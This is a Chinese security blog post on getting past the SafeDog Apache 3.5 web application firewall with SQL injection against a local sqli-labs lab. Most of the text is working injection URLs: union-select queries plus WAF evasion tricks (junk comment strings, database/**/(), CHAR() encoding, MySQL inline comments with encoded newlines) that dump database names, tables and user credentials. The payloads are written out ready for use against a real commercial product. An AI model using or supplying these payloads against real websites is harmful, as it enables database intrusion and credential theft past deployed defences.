SQL注入 安全狗apache3.5.12048版本绕过

 微信公众号:乌鸦安全

 

扫取二维码获取更多信息!

更新时间:2021.04.28

前言

没错,这次我们又来了,还是那条狗,绕过的是安全狗apache3.5.12048版本,个人感觉这个狗比上次的那个有难度些。上次发的文章里面没安全狗的文件,因为当时安装之后文件就删了,这次有,后台回复关键字:

安全狗3.5       获取

目前我们已经发布关于sql注入的文章和教学:

2019.11.20 更新sqli-labs 全部视频更新完成

SQL注入-安全狗超大数据包绕过

SQL注入 安全狗apache4.0.26655绕过

视频版:


https://space.bilibili.com/29903122

0x01 waf

安全狗 safedogwzApacheV3.5.exe

0x02 搭建

网站:apache+mysql+php

phpstudy2018

php版本4.4.45

sqli-labs

0x03  报错注入

关键句

select schema_name from information_schema.schemata;select table_name from information_schema.tables where table_schema='security';select column_name from information_schema.columns where table_name='users';select username,password from security.users;

手动注入

查库:select schema_name from information_schema.schemata查表:select table_name from information_schema.tables where table_schema='security'查列:select column_name from information_schema.columns where table_name='users'查字段:select username,password from security.users
(下面的内容不要直接复制)http://127.0.0.1/sqli/Less-1/?id=1’     查看是否有注入http://127.0.0.1/sqli/Less-1/?id=1‘ order by 3--+   查看有多少列http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,3--+ 查看哪些数据可以回显http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,database()--+  查看当前数据库http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,schema_name from information_schema.schemata limit 4,1--+  查看数据库security或者是:http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata--+ 查看所有的数据库http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表,或者是:http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+ 查看所有的http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,column_name from information_schema.columns where table_name=0x7573657273--+ 查询列信息或者是:http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+ 查看所以的列信息http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,concat_ws(’~‘,username,password) from security.users limit 1,1--+ 查询一个账号和密码或者是:http://127.0.0.1/sqli/Less-1/?id=-1'  union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+  直接可以得到所有的账号和密码,并且使用~符号进行分割。

工具注入

0x04 安全狗安装

在安装的时候提示有一个服务名不能为空,这里需要phpstudy调整至系统服务模式。

然后调出任务管理器界面,查看所有服务

将服务写上,安装成功之后,注意不要选择在线安装服务器安全狗,安装之后会显示启动web服务失败,这里将phpstudy重启即可

使用恶意的参数进行测试下,安全狗生效

运行脚本:

网站防护日志:

0x05 Fuzz

在mysql的fuzz里面一般有以下的思路:(不止)

使用大小写绕过使用/**/注释符绕过使用大的数据包绕过使用/!**/注释符绕过……

1. 测试单引号

http://10.211.55.9/Less-1/?id=1'显示正常

http://10.211.55.9/Less-1/?id=1' --+ 显示正常

2. 测试and

直接使用and的时候,没有异常,但是使用and 1=1的时候,出现问题

正常

拦截

这里测试发现  and 可以出现,但是1不可以出现,既然无法绕过,这里尝试使用注释符来进行测试

3. 测试注释符

在这随机手写了一个,然后就过了。。。。

/*@%$^(*/

http://10.211.55.9/Less-1/?id=1'  and/*@%$^(*/ 1=1 --+

继续:

使用order by指令

http://10.211.55.9/Less-1/?id=1'  order by 4 --+

这里可以测出来一共存在三列,然后使用联合查询来试试

http://10.211.55.9/Less-1/?id=1'  union select 1,2,3 --+

如果只有union呢?试试

http://10.211.55.9/Less-1/?id=1'  union  --+ 正常

select呢

http://10.211.55.9/Less-1/?id=1'  union  select --+

gg

使用刚刚的注释符试试

http://10.211.55.9/Less-1/?id=1'  union /*@%$^(*/ select --+正常

继续

http://10.211.55.9/Less-1/?id=1'  union /*@%$^(*/ select 1,2,3 --+显示正常

继续:

http://10.211.55.9/Less-1/?id=-1'  union /*@%$^(*/ select 1,2,3 --+

 正常

那就可以来取数据了

http://10.211.55.9/Less-1/?id=-1'  union /*@%$^(*/ select 1,2, database() --+

 错误

看来database()被过滤,那这里面对其进行绕过

4. 测试database()

在这里经过多次测试之后发现,database()可以使用database/**/()进行绕过

http://10.211.55.9/Less-1/?id=  -1'  union   /*@%$^(*/    select 1,2, database/**/() --+

显示正常

此时已经获得了数据库名称为security

继续操作来进行下一步,直到能够获取所有的关键信息

现在已知数据库之后,开始获取数据库中的表信息:

对第三个位置来获取表信息:

http://127.0.0.1/sqli/Less-1/?id=-1‘ union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1--+ 查表,或者是:http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+ 查看所有的

试试:

http://10.211.55.9/Less-1/?id=  -1'  union   /*@%$^(*/    select 1,2,   table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1 --+

情理之中,开始准备fuzz

http://10.211.55.9/Less-1/?id=  -1'  union   /*@%$^(*/    select 1,2,   table_name     --+

正常

http://10.211.55.9/Less-1/?id=  -1'  union   /*@%$^(*/    select 1,2,   table_name   from  --+

此时显示异常


 

经过fuzz发现,from是关键字,table_name   并不是关键字,所以需要对from进行绕过

经过多次多组fuzz发现,这里需要使用chr()来进行绕过

http://10.211.55.9/Less-1/?id=  -1'  union   /*@%$^(*/    select 1,2,   CHAR(102, 114, 111, 109)   --+

成功

但是在这里是没法继续下去的

内联注释知识点

  • /*!select*/:  相当于没有注释

  • /*!12345select*/: 当12345小于当前mysql版本号的时候,注释不生效,当大于版本号的时候注释生效。

  • /*![]*/: []中括号中的数字若填写则必须是5位

http://10.211.55.9/Less-1/?id=  -1'  union   /*!00000%23%0aselect*/  1,2, group_concat(schema_name)  /*!00000%23/*%0afrom */ information_schema.schemata   --+

fuzz成功

这里使用

/*!%23/*%0afrom*/

http://10.211.55.9/Less-1/?id=  -1'  union   /*!00000%23%0aselect*/  1,2, group_concat(table_name)  /*!%23/*%0afrom*/ information_schema.tables where table_schema='security' --+

http://10.211.55.9/Less-1/?id=  -1'  union   /*!00000%23%0aselect*/  1,2, group_concat(column_name)  /*!%23/*%0afrom*/ information_schema.columns where table_name='users' --+

http://10.211.55.9/Less-1/?id=  -1'  union   /*!00000%23%0aselect*/  1,2,group_concat(concat_ws(0x7e, username, password))  /*!%23/*%0afrom*/ security.users --+

tamper编写

后面出视频

 微信公众号:乌鸦安全

 

扫取二维码获取更多信息!

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值